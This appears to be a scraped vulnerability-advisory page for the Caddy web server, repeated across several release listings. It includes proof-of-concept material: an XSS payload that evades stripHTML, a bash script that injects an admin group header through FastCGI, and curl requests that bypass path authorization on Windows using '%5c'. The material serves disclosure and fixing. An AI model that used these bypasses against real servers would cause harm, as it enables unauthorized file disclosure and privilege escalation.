{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Jul 28, 2017

v0.10.5 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Jul 27, 2017

v0.10.4 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2018-21246 GHSA-gr7w-x2jp-3xgw GO-2020-0043 Oct 06, 2022

Caddy vulnerable to Authentication Bypass due to mishandling of TLS client authentication

9.8 / 10

Critical

Network Low None None Unchanged High High High

Caddy before 0.10.13 mishandles TLS client authentication, as demonstrated by an authentication bypass caused by the lack of the StrictHostMatching mode.

Fixed in


          0.10.13

References

Updated Nov 08, 2023 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

CVE-2018-19148 GHSA-jf2w-mq6r-56v8 May 14, 2022

Caddy allows enumeration of Certificates and Hostnames

3.7 / 10

Low

Network High None None Unchanged Low None None

Caddy through 0.11.0 sends incorrect certificates for certain invalid requests, making it easier for attackers to enumerate hostnames. Specifically, when unable to match a Host header with a vhost in its configuration, it serves the X.509 certificate for a randomly selected vhost in its configuration. Repeated requests (with a nonexistent hostname in the Host header) permit full enumeration of all certificates on the server. This generally permits an attacker to easily and accurately discover the existence of and relationships among hostnames that weren't meant to be public, though this information could likely have been discovered via other methods with additional effort.

Fixed in


          0.11.1

References

Updated Apr 24, 2024 · Source: OSV.dev

Jun 28, 2017

v0.10.3 patch

6 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

